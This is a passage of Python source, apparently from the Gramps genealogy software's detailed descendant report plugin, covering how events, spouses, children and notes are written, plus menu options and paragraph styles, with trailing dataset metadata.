}\n )\n self.doc.end_paragraph()\n return\n\n self.doc.end_paragraph()\n \n self.write_person_info(person)\n\n if (self.inc_mates or self.listchildren or self.inc_notes or\n self.inc_events or self.inc_attrs):\n for family_handle in person.get_family_handle_list():\n family = self.database.get_family_from_handle(family_handle)\n if self.inc_mates:\n self.__write_mate(person, family)\n if self.listchildren:\n self.__write_children(family)\n if self.inc_notes:\n self.__write_family_notes(family)\n first = True\n if self.inc_events:\n first = self.__write_family_events(family)\n if self.inc_attrs:\n self.__write_family_attrs(family, first)\n\n def write_event(self, event_ref):\n text = \"\"\n event = self.database.get_event_from_handle(event_ref.ref)\n\n if self.fulldate:\n date = self._get_date(event.get_date_object())\n else:\n date = event.get_date_object().get_year()\n\n ph = event.get_place_handle()\n if ph:\n place = self.database.get_place_from_handle(ph).get_title()\n else:\n place = ''\n\n self.doc.start_paragraph('DDR-MoreDetails')\n event_name = self._get_type(event.get_type())\n if date and place:\n text += self._('%(date)s, %(place)s') % { \n 'date' : date, 'place' : place }\n elif date:\n text += self._('%(date)s') % {'date' : date}\n elif place:\n text += self._('%(place)s') % { 'place' : place }\n\n if event.get_description():\n if text:\n text += \". \"\n text += event.get_description()\n \n text += self.endnotes(event)\n \n if text:\n text += \". \"\n \n text = self._('%(event_name)s: %(event_text)s') % {\n 'event_name' : self._(event_name),\n 'event_text' : text }\n \n self.doc.write_text_citation(text)\n \n if self.inc_attrs:\n text = \"\"\n attr_list = event.get_attribute_list()\n attr_list.extend(event_ref.get_attribute_list())\n for attr in attr_list:\n if text:\n # translators: needed for Arabic, ignore otherwise\n text += self._(\"; \")\n attrName = self._get_type(attr.get_type())\n text += self._(\"%(type)s: %(value)s%(endnotes)s\") % {\n 'type' : self._(attrName),\n 'value' : attr.get_value(),\n 'endnotes' : self.endnotes(attr) }\n text = \" \" + text\n self.doc.write_text_citation(text)\n\n self.doc.end_paragraph()\n\n if self.inc_notes:\n # if the event or event reference has a note attached to it,\n # get the text and format it correctly\n notelist = event.get_note_list()\n notelist.extend(event_ref.get_note_list())\n for notehandle in notelist:\n note = self.database.get_note_from_handle(notehandle)\n self.doc.write_styled_note(note.get_styledtext(), \n note.get_format(),\"DDR-MoreDetails\",\n contains_html= note.get_type() == NoteType.HTML_CODE)\n\n def __write_parents(self, person):\n family_handle = person.get_main_parents_family_handle()\n if family_handle:\n family = self.database.get_family_from_handle(family_handle)\n mother_handle = family.get_mother_handle()\n father_handle = family.get_father_handle()\n if mother_handle:\n mother = self.database.get_person_from_handle(mother_handle)\n mother_name = \\\n self._name_display.display_name(mother.get_primary_name())\n mother_mark = ReportUtils.get_person_mark(self.database, mother)\n else:\n mother_name = \"\"\n mother_mark = \"\"\n if father_handle:\n father = self.database.get_person_from_handle(father_handle)\n father_name = \\\n self._name_display.display_name(father.get_primary_name())\n father_mark = ReportUtils.get_person_mark(self.database, father)\n else:\n father_name = \"\"\n father_mark = \"\"\n text = self.__narrator.get_child_string(father_name, mother_name)\n if text:\n self.doc.write_text(text)\n if father_mark:\n self.doc.write_text(\"\", father_mark)\n if mother_mark:\n self.doc.write_text(\"\", mother_mark)\n\n def write_marriage(self, person):\n \"\"\" \n Output marriage sentence.\n \"\"\"\n is_first = True\n for family_handle in person.get_family_handle_list():\n family = self.database.get_family_from_handle(family_handle)\n spouse_handle = ReportUtils.find_spouse(person, family)\n spouse = self.database.get_person_from_handle(spouse_handle)\n if spouse:\n name = self._name_display.display_formal(spouse)\n else:\n name = \"\"\n text = \"\"\n spouse_mark = ReportUtils.get_person_mark(self.database, spouse)\n \n text = self.__narrator.get_married_string(family, is_first, self._name_display)\n \n if text:\n self.doc.write_text_citation(text, spouse_mark)\n is_first = False\n \n def __write_mate(self, person, family):\n \"\"\"\n Write information about the person's spouse/mate.\n \"\"\"\n if person.get_gender() == Person.MALE:\n mate_handle = family.get_mother_handle()\n else:\n mate_handle = family.get_father_handle()\n \n if mate_handle:\n mate = self.database.get_person_from_handle(mate_handle)\n\n self.doc.start_paragraph(\"DDR-MoreHeader\")\n name = self._name_display.display_formal(mate)\n mark = ReportUtils.get_person_mark(self.database, mate)\n if family.get_relationship() == FamilyRelType.MARRIED:\n self.doc.write_text(self._(\"Spouse: %s\") % name, mark)\n else:\n self.doc.write_text(self._(\"Relationship with: %s\") % name, mark)\n if name[-1:] != '.':\n self.doc.write_text(\".\")\n self.doc.write_text_citation(self.endnotes(mate))\n self.doc.end_paragraph()\n\n if not self.inc_materef:\n # Don't want to just print reference\n self.write_person_info(mate)\n else:\n # Check to see if we've married a cousin\n if mate_handle in self.dnumber:\n self.doc.start_paragraph('DDR-MoreDetails')\n self.doc.write_text_citation(\n self._(\"Ref: %(number)s. %(name)s\") %\n {'number': self.dnumber[mate_handle], 'name': name})\n self.doc.end_paragraph()\n else:\n self.dmates[mate_handle] = person.get_handle()\n self.write_person_info(mate)\n\n def __get_mate_names(self, family):\n mother_handle = family.get_mother_handle()\n if mother_handle:\n mother = self.database.get_person_from_handle(mother_handle)\n mother_name = self._name_display.display(mother)\n else:\n mother_name = self._(\"unknown\")\n\n father_handle = family.get_father_handle()\n if father_handle:\n father = self.database.get_person_from_handle(father_handle)\n father_name = self._name_display.display(father)\n else:\n father_name = self._(\"unknown\")\n\n return mother_name, father_name\n\n def __write_children(self, family):\n \"\"\" \n List the children for the given family.\n \"\"\"\n if not family.get_child_ref_list():\n return\n\n mother_name, father_name = self.__get_mate_names(family)\n\n self.doc.start_paragraph(\"DDR-ChildTitle\")\n self.doc.write_text(\n self._(\"Children of %(mother_name)s and %(father_name)s\") % \n {'father_name': father_name,\n 'mother_name': mother_name\n } )\n self.doc.end_paragraph()\n\n cnt = 1\n for child_ref in family.get_child_ref_list():\n child_handle = child_ref.ref\n child = self.database.get_person_from_handle(child_handle)\n child_name = self._name_display.display(child)\n child_mark = ReportUtils.get_person_mark(self.database, child)\n\n if self.childref and self.prev_gen_handles.get(child_handle):\n value = str(self.prev_gen_handles.get(child_handle))\n child_name += \" [%s]\" % value\n\n if self.inc_ssign:\n prefix = \" \"\n for family_handle in child.get_family_handle_list():\n family = self.database.get_family_from_handle(family_handle)\n if family.get_child_ref_list():\n prefix = \"+ \"\n break\n else:\n prefix = \"\"\n\n if child_handle in self.dnumber:\n self.doc.start_paragraph(\"DDR-ChildList\",\n prefix\n + str(self.dnumber[child_handle])\n + \" \"\n + ReportUtils.roman(cnt).lower()\n + \".\")\n else:\n self.doc.start_paragraph(\"DDR-ChildList\",\n prefix + ReportUtils.roman(cnt).lower() + \".\")\n cnt += 1\n\n self.doc.write_text(\"%s. \" % child_name, child_mark)\n self.__narrator.set_subject(child)\n self.doc.write_text_citation(self.__narrator.get_born_string() or\n self.__narrator.get_christened_string() or\n self.__narrator.get_baptised_string())\n self.doc.write_text_citation(self.__narrator.get_died_string() or \n self.__narrator.get_buried_string())\n self.doc.end_paragraph()\n\n def __write_family_notes(self, family):\n \"\"\" \n Write the notes for the given family.\n \"\"\"\n notelist = family.get_note_list()\n if len(notelist) > 0:\n mother_name, father_name = self.__get_mate_names(family)\n\n self.doc.start_paragraph(\"DDR-NoteHeader\")\n self.doc.write_text(\n self._('Notes for %(mother_name)s and %(father_name)s:') % { \n 'mother_name' : mother_name,\n 'father_name' : father_name })\n self.doc.end_paragraph()\n for notehandle in notelist:\n note = self.database.get_note_from_handle(notehandle)\n self.doc.write_styled_note(note.get_styledtext(), \n note.get_format(),\"DDR-Entry\")\n\n def __write_family_events(self, family):\n \"\"\" \n List the events for the given family.\n \"\"\"\n if not family.get_event_ref_list():\n return\n\n mother_name, father_name = self.__get_mate_names(family)\n\n first = 1\n for event_ref in family.get_event_ref_list():\n if first:\n self.doc.start_paragraph('DDR-MoreHeader')\n self.doc.write_text(\n self._('More about %(mother_name)s and %(father_name)s:') % { \n 'mother_name' : mother_name,\n 'father_name' : father_name })\n self.doc.end_paragraph()\n first = 0\n self.write_event(event_ref)\n return first\n\n def __write_family_attrs(self, family, first):\n \"\"\" \n List the attributes for the given family.\n \"\"\"\n attrs = family.get_attribute_list()\n\n if first and attrs:\n mother_name, father_name = self.__get_mate_names(family)\n\n self.doc.start_paragraph('DDR-MoreHeader')\n self.doc.write_text(\n self._('More about %(mother_name)s and %(father_name)s:') % { \n 'mother_name' : mother_name,\n 'father_name' : father_name })\n self.doc.end_paragraph()\n\n for attr in attrs:\n self.doc.start_paragraph('DDR-MoreDetails')\n attrName = self._get_type(attr.get_type())\n text = self._(\"%(type)s: %(value)s%(endnotes)s\") % {\n 'type' : self._(attrName),\n 'value' : attr.get_value(),\n 'endnotes' : self.endnotes(attr) }\n self.doc.write_text_citation( text )\n self.doc.end_paragraph()\n\n if self.inc_notes:\n # if the attr or attr reference has a note attached to it,\n # get the text and format it correctly\n notelist = attr.get_note_list()\n for notehandle in notelist:\n note = self.database.get_note_from_handle(notehandle)\n self.doc.write_styled_note(note.get_styledtext(), \n note.get_format(),\"DDR-MoreDetails\")\n\n\n def write_person_info(self, person):\n name = self._name_display.display_formal(person)\n self.__narrator.set_subject(person)\n \n plist = person.get_media_list()\n if self.addimages and len(plist) > 0:\n photo = plist[0]\n ReportUtils.insert_image(self.database, self.doc, photo, self._user)\n \n self.doc.start_paragraph(\"DDR-Entry\")\n \n if not self.verbose:\n self.__write_parents(person)\n\n text = self.__narrator.get_born_string()\n if text:\n self.doc.write_text_citation(text)\n\n text = self.__narrator.get_baptised_string()\n if text:\n self.doc.write_text_citation(text)\n \n text = self.__narrator.get_christened_string()\n if text:\n self.doc.write_text_citation(text)\n \n text = self.__narrator.get_died_string(self.calcageflag)\n if text:\n self.doc.write_text_citation(text)\n\n text = self.__narrator.get_buried_string()\n if text:\n self.doc.write_text_citation(text)\n\n if self.verbose:\n self.__write_parents(person)\n self.write_marriage(person)\n self.doc.end_paragraph()\n\n notelist = person.get_note_list()\n if len(notelist) > 0 and self.inc_notes:\n self.doc.start_paragraph(\"DDR-NoteHeader\")\n # feature request 2356: avoid genitive form\n self.doc.write_text(self._(\"Notes for %s\") % name)\n self.doc.end_paragraph()\n for notehandle in notelist:\n note = self.database.get_note_from_handle(notehandle)\n self.doc.write_styled_note(note.get_styledtext(), \n note.get_format(),\"DDR-Entry\",\n contains_html= note.get_type() == NoteType.HTML_CODE)\n\n first = True\n if self.inc_names:\n for alt_name in person.get_alternate_names():\n if first:\n self.doc.start_paragraph('DDR-MoreHeader')\n self.doc.write_text(self._('More about %(person_name)s:') % { \n 'person_name' : name })\n self.doc.end_paragraph()\n first = False\n self.doc.start_paragraph('DDR-MoreDetails')\n atype = self._get_type(alt_name.get_type())\n aname = alt_name.get_regular_name()\n self.doc.write_text_citation(self._('%(name_kind)s: %(name)s%(endnotes)s') % {\n 'name_kind' : self._(atype),\n 'name' : aname,\n 'endnotes' : self.endnotes(alt_name),\n })\n self.doc.end_paragraph()\n\n if self.inc_events:\n for event_ref in person.get_primary_event_ref_list():\n if first:\n self.doc.start_paragraph('DDR-MoreHeader')\n self.doc.write_text(self._('More about %(person_name)s:') % { \n 'person_name' : self._name_display.display(person) })\n self.doc.end_paragraph()\n first = 0\n\n self.write_event(event_ref)\n \n if self.inc_addr:\n for addr in person.get_address_list():\n if first:\n self.doc.start_paragraph('DDR-MoreHeader')\n self.doc.write_text(self._('More about %(person_name)s:') % { \n 'person_name' : name })\n self.doc.end_paragraph()\n first = False\n self.doc.start_paragraph('DDR-MoreDetails')\n \n text = ReportUtils.get_address_str(addr)\n\n if self.fulldate:\n date = self._get_date(addr.get_date_object())\n else:\n date = addr.get_date_object().get_year()\n\n self.doc.write_text(self._('Address: '))\n if date:\n # translators: needed for Arabic, ignore otherwise\n self.doc.write_text(self._('%s, ') % date )\n self.doc.write_text( text )\n self.doc.write_text_citation( self.endnotes(addr) )\n self.doc.end_paragraph()\n \n if self.inc_attrs:\n attrs = person.get_attribute_list()\n if first and attrs:\n self.doc.start_paragraph('DDR-MoreHeader')\n self.doc.write_text(self._('More about %(person_name)s:') % { \n 'person_name' : name })\n self.doc.end_paragraph()\n first = False\n\n for attr in attrs:\n self.doc.start_paragraph('DDR-MoreDetails')\n attrName = self._get_type(attr.get_type())\n text = self._(\"%(type)s: %(value)s%(endnotes)s\") % {\n 'type' : self._(attrName),\n 'value' : attr.get_value(),\n 'endnotes' : self.endnotes(attr) }\n self.doc.write_text_citation( text )\n self.doc.end_paragraph()\n\n def endnotes(self, obj):\n if not obj or not self.inc_sources:\n return \"\"\n \n txt = endnotes.cite_source(self.bibli, self.database, obj)\n if txt:\n txt = '<super>' + txt + '</super>'\n return txt\n\n#------------------------------------------------------------------------\n#\n# DetDescendantOptions\n#\n#------------------------------------------------------------------------\nclass DetDescendantOptions(MenuReportOptions):\n\n \"\"\"\n Defines options and provides handling interface.\n \"\"\"\n\n def __init__(self, name, dbase):\n MenuReportOptions.__init__(self, name, dbase)\n \n def add_menu_options(self, menu):\n \"\"\"\n Add options to the menu for the detailed descendant report.\n \"\"\"\n\n # Report Options\n category = _(\"Report Options\")\n add_option = partial(menu.add_option, category)\n \n pid = PersonOption(_(\"Center Person\"))\n pid.set_help(_(\"The center person for the report\"))\n add_option(\"pid\", pid)\n \n stdoptions.add_name_format_option(menu, category)\n\n numbering = EnumeratedListOption(_(\"Numbering system\"), \"Henry\")\n numbering.set_items([\n (\"Henry\", _(\"Henry numbering\")), \n (\"d'Aboville\", _(\"d'Aboville numbering\")), \n (\"Record (Modified Register)\", \n _(\"Record (Modified Register) numbering\"))])\n numbering.set_help(_(\"The numbering system to be used\"))\n add_option(\"numbering\", numbering)\n \n generations = NumberOption(_(\"Generations\"), 10, 1, 100)\n generations.set_help(\n _(\"The number of generations to include in the report\")\n )\n add_option(\"gen\", generations)\n \n pagebbg = BooleanOption(_(\"Page break between generations\"), False)\n pagebbg.set_help(\n _(\"Whether to start a new page after each generation.\"))\n add_option(\"pagebbg\", pagebbg)\n\n pageben = BooleanOption(_(\"Page break before end notes\"),False)\n pageben.set_help(\n _(\"Whether to start a new page before the end notes.\"))\n add_option(\"pageben\", pageben)\n\n stdoptions.add_localization_option(menu, category)\n\n # Content\n \n add_option = partial(menu.add_option, _(\"Content\"))\n\n usecall = BooleanOption(_(\"Use callname for common name\"), False)\n usecall.set_help(_(\"Whether to use the call name as the first name.\"))\n add_option(\"usecall\", usecall)\n \n fulldates = BooleanOption(_(\"Use full dates instead of only the year\"),\n True)\n fulldates.set_help(_(\"Whether to use full dates instead of just year.\"))\n add_option(\"fulldates\", fulldates)\n \n listc = BooleanOption(_(\"List children\"), True)\n listc.set_help(_(\"Whether to list children.\"))\n add_option(\"listc\", listc)\n \n computeage = BooleanOption(_(\"Compute death age\"),True)\n computeage.set_help(_(\"Whether to compute a person's age at death.\"))\n add_option(\"computeage\", computeage)\n \n omitda = BooleanOption(_(\"Omit duplicate ancestors\"), True)\n omitda.set_help(_(\"Whether to omit duplicate ancestors.\"))\n add_option(\"omitda\", omitda)\n \n verbose = BooleanOption(_(\"Use complete sentences\"), True)\n verbose.set_help(\n _(\"Whether to use complete sentences or succinct language.\"))\n add_option(\"verbose\", verbose)\n\n desref = BooleanOption(_(\"Add descendant reference in child list\"),\n True)\n desref.set_help(\n _(\"Whether to add descendant references in child list.\"))\n add_option(\"desref\", desref)\n\n category_name = _(\"Include\")\n add_option = partial(menu.add_option, _(\"Include\"))\n \n incnotes = BooleanOption(_(\"Include notes\"), True)\n incnotes.set_help(_(\"Whether to include notes.\"))\n add_option(\"incnotes\", incnotes)\n\n incattrs = BooleanOption(_(\"Include attributes\"), False)\n incattrs.set_help(_(\"Whether to include attributes.\"))\n add_option(\"incattrs\", incattrs)\n \n incphotos = BooleanOption(_(\"Include Photo/Images from Gallery\"), False)\n incphotos.set_help(_(\"Whether to include images.\"))\n add_option(\"incphotos\", incphotos)\n\n incnames = BooleanOption(_(\"Include alternative names\"), False)\n incnames.set_help(_(\"Whether to include other names.\"))\n add_option(\"incnames\", incnames)\n\n incevents = BooleanOption(_(\"Include events\"), False)\n incevents.set_help(_(\"Whether to include events.\"))\n add_option(\"incevents\", incevents)\n\n incaddresses = BooleanOption(_(\"Include addresses\"), False)\n incaddresses.set_help(_(\"Whether to include addresses.\"))\n add_option(\"incaddresses\", incaddresses)\n\n incsources = BooleanOption(_(\"Include sources\"), False)\n incsources.set_help(_(\"Whether to include source references.\"))\n add_option(\"incsources\", incsources)\n \n incsrcnotes = BooleanOption(_(\"Include sources notes\"), False)\n incsrcnotes.set_help(_(\"Whether to include source notes in the \"\n \"Endnotes section. Only works if Include sources is selected.\"))\n add_option(\"incsrcnotes\", incsrcnotes)\n\n incmates = BooleanOption(_(\"Include spouses\"), False)\n incmates.set_help(_(\"Whether to include detailed spouse information.\"))\n add_option(\"incmates\", incmates)\n\n incmateref = BooleanOption(_(\"Include spouse reference\"), False)\n incmateref.set_help(_(\"Whether to include reference to spouse.\"))\n add_option(\"incmateref\", incmateref)\n\n incssign = BooleanOption(_(\"Include sign of succession ('+')\"\n \" in child-list\"), True)\n incssign.set_help(_(\"Whether to include a sign ('+') before the\"\n \" descendant number in the child-list to indicate\"\n \" a child has succession.\"))\n add_option(\"incssign\", incssign)\n\n incpaths = BooleanOption(_(\"Include path to start-person\"), False)\n incpaths.set_help(_(\"Whether to include the path of descendancy \"\n \"from the start-person to each descendant.\"))\n add_option(\"incpaths\", incpaths)\n\n # Missing information\n \n add_option = partial(menu.add_option, _(\"Missing information\")) \n\n repplace = BooleanOption(_(\"Replace missing places with ______\"), False)\n repplace.set_help(_(\"Whether to replace missing Places with blanks.\"))\n add_option(\"repplace\", repplace)\n\n repdate = BooleanOption(_(\"Replace missing dates with ______\"), False)\n repdate.set_help(_(\"Whether to replace missing Dates with blanks.\"))\n add_option(\"repdate\", repdate)\n\n def make_default_style(self, default_style):\n \"\"\"Make the default output style for the Detailed Ancestral Report\"\"\"\n font = FontStyle()\n font.set(face=FONT_SANS_SERIF, size=16, bold=1)\n para = ParagraphStyle()\n para.set_font(font)\n para.set_header_level(1)\n para.set_top_margin(0.25)\n para.set_bottom_margin(0.25)\n para.set_alignment(PARA_ALIGN_CENTER)\n para.set_description(_('The style used for the title of the page.'))\n default_style.add_paragraph_style(\"DDR-Title\", para)\n\n font = FontStyle()\n font.set(face=FONT_SANS_SERIF, size=14, italic=1)\n para = ParagraphStyle()\n para.set_font(font)\n para.set_header_level(2)\n para.set_top_margin(0.25)\n para.set_bottom_margin(0.25)\n para.set_description(_('The style used for the generation header.'))\n default_style.add_paragraph_style(\"DDR-Generation\", para)\n\n font = FontStyle()\n font.set(face=FONT_SANS_SERIF, size=10, italic=0, bold=1)\n para = ParagraphStyle()\n para.set_font(font)\n para.set_left_margin(1.5) # in centimeters\n para.set_top_margin(0.25)\n para.set_bottom_margin(0.25)\n para.set_description(_('The style used for the children list title.'))\n default_style.add_paragraph_style(\"DDR-ChildTitle\", para)\n\n font = FontStyle()\n font.set(size=10)\n para = ParagraphStyle()\n para.set_font(font)\n para.set(first_indent=-0.75, lmargin=2.25)\n para.set_top_margin(0.125)\n para.set_bottom_margin(0.125)\n para.set_description(_('The style used for the children list.'))\n default_style.add_paragraph_style(\"DDR-ChildList\", para)\n\n font = FontStyle()\n font.set(face=FONT_SANS_SERIF, size=10, italic=0, bold=1)\n para = ParagraphStyle()\n para.set_font(font)\n para.set(first_indent=0.0, lmargin=1.5)\n para.set_top_margin(0.25)\n para.set_bottom_margin(0.25)\n default_style.add_paragraph_style(\"DDR-NoteHeader\", para)\n\n para = ParagraphStyle()\n para.set(lmargin=1.5)\n para.set_top_margin(0.25)\n para.set_bottom_margin(0.25)\n para.set_description(_('The basic style used for the text display.'))\n default_style.add_paragraph_style(\"DDR-Entry\", para)\n\n para = ParagraphStyle()\n para.set(first_indent=-1.5, lmargin=1.5)\n para.set_top_margin(0.25)\n para.set_bottom_margin(0.25) \n para.set_description(_('The style used for the first personal entry.'))\n default_style.add_paragraph_style(\"DDR-First-Entry\", para)\n\n font = FontStyle()\n font.set(size=10, face=FONT_SANS_SERIF, bold=1)\n para = ParagraphStyle()\n para.set_font(font)\n para.set(first_indent=0.0, lmargin=1.5)\n para.set_top_margin(0.25)\n para.set_bottom_margin(0.25)\n para.set_description(_('The style used for the More About header and '\n 'for headers of mates.'))\n default_style.add_paragraph_style(\"DDR-MoreHeader\", para)\n\n font = FontStyle()\n font.set(face=FONT_SERIF, size=10)\n para = ParagraphStyle()\n para.set_font(font)\n para.set(first_indent=0.0, lmargin=1.5)\n para.set_top_margin(0.25)\n para.set_bottom_margin(0.25)\n para.set_description(_('The style used for additional detail data.'))\n default_style.add_paragraph_style(\"DDR-MoreDetails\", para)\n\n endnotes.add_endnote_styles(default_style)\n", "sub_path": "plugins/textreport/detdescendantreport.py", "file_name": "detdescendantreport.py", "file_ext": "py", "file_size_in_byte": 45605, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "gramps.gen.const.GRAMPS_LOCALE.translation", "line_number": 46, "usage_type": "attribute"}, {"api_name": "gramps.gen.const.GRAMPS_LOCALE", "line_number": 46, "usage_type": "name"}, {"api_name": "gramps.gen.plug.report.Report", "line_number": 74, "usage_type": "name"}, {"api_name": "gramps.gen.plug.report.Report.__init__", "line_number": 116, "usage_type": "call"}, {"api_name": "gramps.gen.plug.report.Report", "line_number": 116, "usage_type": "name"}, {"api_name": "gramps.gen.errors.ReportError", "line_number": 153, "usage_type": "call"}, {"api_name": "gramps.plugins.lib.libnarrate.Narrator", "line_number": 177, "usage_type": "call"}, {"api_name": "gramps.gen.plug.report.Bibliography", "line_number": 183, "usage_type": "call"}, {"api_name": "gramps.gen.plug.report.Bibliography.MODE_DATE", "line_number": 183, "usage_type": "attribute"}, {"api_name": "gramps.gen.plug.report.Bibliography.MODE_PAGE", "line_number": 183, "usage_type": "attribute"}, {"api_name": "gramps.gen.plug.docgen.IndexMark", "line_number": 277, "usage_type": "call"}, {"api_name": "gramps.gen.plug.docgen.INDEX_TYPE_TOC", "line_number": 277, "usage_type": "argument"}, {"api_name": "gramps.gen.plug.docgen.IndexMark", "line_number": 289, "usage_type": "call"}, {"api_name": "gramps.gen.plug.docgen.INDEX_TYPE_TOC", "line_number": 289, "usage_type": "argument"}, {"api_name": "gramps.gen.plug.report.endnotes.write_endnotes", "line_number": 305, "usage_type": "call"}, {"api_name": "gramps.gen.plug.report.endnotes", "line_number": 305, "usage_type": "name"}, {"api_name": "gramps.gen.plug.report.utils.get_person_mark", "line_number": 362, "usage_type": "call"}, {"api_name": "gramps.gen.plug.report.utils", "line_number": 362, "usage_type": "name"}, {"api_name": "gramps.gen.lib.NoteType.HTML_CODE", "line_number": 478, "usage_type": "attribute"}, {"api_name": "gramps.gen.lib.NoteType", "line_number": 478, "usage_type": "name"}, {"api_name": "gramps.gen.plug.report.utils.get_person_mark", "line_number": 490, "usage_type": "call"}, {"api_name": "gramps.gen.plug.report.utils", "line_number": 490, "usage_type": "name"}, {"api_name": "gramps.gen.plug.report.utils.get_person_mark", "line_number": 498, "usage_type": "call"}, {"api_name": "gramps.gen.plug.report.utils", "line_number": 498, "usage_type": "name"}, {"api_name": "gramps.gen.plug.report.utils.find_spouse", "line_number": 517, "usage_type": "call"}, {"api_name": "gramps.gen.plug.report.utils", "line_number": 517, "usage_type": "name"}, {"api_name": "gramps.gen.plug.report.utils.get_person_mark", "line_number": 524, "usage_type": "call"}, {"api_name": "gramps.gen.plug.report.utils", "line_number": 524, "usage_type": "name"}, {"api_name": "gramps.gen.lib.Person.MALE", "line_number": 536, "usage_type": "attribute"}, {"api_name": "gramps.gen.lib.Person", "line_number": 536, "usage_type": "name"}, {"api_name": "gramps.gen.plug.report.utils.get_person_mark", "line_number": 546, "usage_type": "call"}, {"api_name": "gramps.gen.plug.report.utils", "line_number": 546, "usage_type": "name"}, {"api_name": "gramps.gen.lib.FamilyRelType.MARRIED", "line_number": 547, "usage_type": "attribute"}, {"api_name": "gramps.gen.lib.FamilyRelType", "line_number": 547, "usage_type": "name"}, {"api_name": "gramps.gen.plug.report.utils.get_person_mark", "line_number": 610, "usage_type": "call"}, {"api_name": "gramps.gen.plug.report.utils", "line_number": 610, "usage_type": "name"}, {"api_name": "gramps.gen.plug.report.utils.roman", "line_number": 631, "usage_type": "call"}, {"api_name": "gramps.gen.plug.report.utils", "line_number": 631, "usage_type": "name"}, {"api_name": "gramps.gen.plug.report.utils.roman", "line_number": 635, "usage_type": "call"}, {"api_name": "gramps.gen.plug.report.utils", "line_number": 635, "usage_type": "name"}, {"api_name": "gramps.gen.plug.report.utils.insert_image", "line_number": 731, "usage_type": "call"}, {"api_name": "gramps.gen.plug.report.utils", "line_number": 731, "usage_type": "name"}, {"api_name": "gramps.gen.lib.NoteType.HTML_CODE", "line_number": 773, "usage_type": "attribute"}, {"api_name": "gramps.gen.lib.NoteType", "line_number": 773, "usage_type": "name"}, {"api_name": "gramps.gen.plug.report.utils.get_address_str", "line_number": 815, "usage_type": "call"}, {"api_name": "gramps.gen.plug.report.utils", "line_number": 815, "usage_type": "name"}, {"api_name": "gramps.gen.plug.report.endnotes.cite_source", "line_number": 853, "usage_type": "call"}, {"api_name": "gramps.gen.plug.report.endnotes", "line_number": 853, "usage_type": "name"}, {"api_name": "gramps.gen.plug.report.MenuReportOptions", "line_number": 863, "usage_type": "name"}, {"api_name": "gramps.gen.plug.report.MenuReportOptions.__init__", "line_number": 870, "usage_type": "call"}, {"api_name": "gramps.gen.plug.report.MenuReportOptions", "line_number": 870, "usage_type": "name"}, {"api_name": "functools.partial", "line_number": 879, "usage_type": "call"}, {"api_name": "gramps.gen.plug.menu.PersonOption", "line_number": 881, "usage_type": "call"}, {"api_name": "gramps.gen.plug.report.stdoptions.add_name_format_option", "line_number": 885, "usage_type": "call"}, {"api_name": "gramps.gen.plug.report.stdoptions", "line_number": 885, "usage_type": "name"}, {"api_name": "gramps.gen.plug.menu.EnumeratedListOption", "line_number": 887, "usage_type": "call"}, {"api_name": "gramps.gen.plug.menu.NumberOption", "line_number": 896, "usage_type": "call"}, {"api_name": "gramps.gen.plug.menu.BooleanOption", "line_number": 902, "usage_type": "call"}, {"api_name": "gramps.gen.plug.menu.BooleanOption", "line_number": 907, "usage_type": "call"}, {"api_name": "gramps.gen.plug.report.stdoptions.add_localization_option", "line_number": 912, "usage_type": "call"}, {"api_name": "gramps.gen.plug.report.stdoptions", "line_number": 912, "usage_type": "name"}, {"api_name": "functools.partial", "line_number": 916, "usage_type": "call"}, {"api_name": "gramps.gen.plug.menu.BooleanOption", "line_number": 918, "usage_type": "call"}, {"api_name": "gramps.gen.plug.menu.BooleanOption", "line_number": 922, "usage_type": "call"}, {"api_name": "gramps.gen.plug.menu.BooleanOption", "line_number": 927, "usage_type": "call"}, {"api_name": "gramps.gen.plug.menu.BooleanOption", "line_number": 931, "usage_type": "call"}, {"api_name": "gramps.gen.plug.menu.BooleanOption", "line_number": 935, "usage_type": "call"}, {"api_name": "gramps.gen.plug.menu.BooleanOption", "line_number": 939, "usage_type": "call"}, {"api_name": "gramps.gen.plug.menu.BooleanOption", "line_number": 944, "usage_type": "call"}, {"api_name": "functools.partial", "line_number": 951, "usage_type": "call"}, {"api_name": "gramps.gen.plug.menu.BooleanOption", "line_number": 953, "usage_type": "call"}, {"api_name": "gramps.gen.plug.menu.BooleanOption", "line_number": 957, "usage_type": "call"}, {"api_name": "gramps.gen.plug.menu.BooleanOption", "line_number": 961, "usage_type": "call"}, {"api_name": "gramps.gen.plug.menu.BooleanOption", "line_number": 965, "usage_type": "call"}, {"api_name": "gramps.gen.plug.menu.BooleanOption", "line_number": 969, "usage_type": "call"}, {"api_name": "gramps.gen.plug.menu.BooleanOption", "line_number": 973, "usage_type": "call"}, {"api_name": "gramps.gen.plug.menu.BooleanOption", "line_number": 977, "usage_type": "call"}, {"api_name": "gramps.gen.plug.menu.BooleanOption", "line_number": 981, "usage_type": "call"}, {"api_name": "gramps.gen.plug.menu.BooleanOption", "line_number": 986, "usage_type": "call"}, {"api_name": "gramps.gen.plug.menu.BooleanOption", "line_number": 990, "usage_type": "call"}, {"api_name": "gramps.gen.plug.menu.BooleanOption", "line_number": 994, "usage_type": "call"}, {"api_name": "gramps.gen.plug.menu.BooleanOption", "line_number": 1001, "usage_type": "call"}, {"api_name": "functools.partial", "line_number": 1008, "usage_type": "call"}, {"api_name": "gramps.gen.plug.menu.BooleanOption", "line_number": 1010, "usage_type": "call"}, {"api_name": "gramps.gen.plug.menu.BooleanOption", "line_number": 1014, "usage_type": "call"}, {"api_name": "gramps.gen.plug.docgen.FontStyle", "line_number": 1020, "usage_type": "call"}, {"api_name": "gramps.gen.plug.docgen.FONT_SANS_SERIF", "line_number": 1021, "usage_type": "name"}, {"api_name": "gramps.gen.plug.docgen.ParagraphStyle", "line_number": 1022, "usage_type": "call"}, {"api_name": "gramps.gen.plug.docgen.PARA_ALIGN_CENTER", "line_number": 1027, "usage_type": "argument"}, {"api_name": "gramps.gen.plug.docgen.FontStyle", "line_number": 1031, "usage_type": "call"}, {"api_name": "gramps.gen.plug.docgen.FONT_SANS_SERIF", "line_number": 1032, "usage_type": "name"}, {"api_name": "gramps.gen.plug.docgen.ParagraphStyle", "line_number": 1033, "usage_type": "call"}, {"api_name": "gramps.gen.plug.docgen.FontStyle", "line_number": 1041, "usage_type": "call"}, {"api_name": "gramps.gen.plug.docgen.FONT_SANS_SERIF", "line_number": 1042, "usage_type": "name"}, {"api_name": "gramps.gen.plug.docgen.ParagraphStyle", "line_number": 1043, "usage_type": "call"}, {"api_name": "gramps.gen.plug.docgen.FontStyle", "line_number": 1051, "usage_type": "call"}, {"api_name": "gramps.gen.plug.docgen.ParagraphStyle", "line_number": 1053, 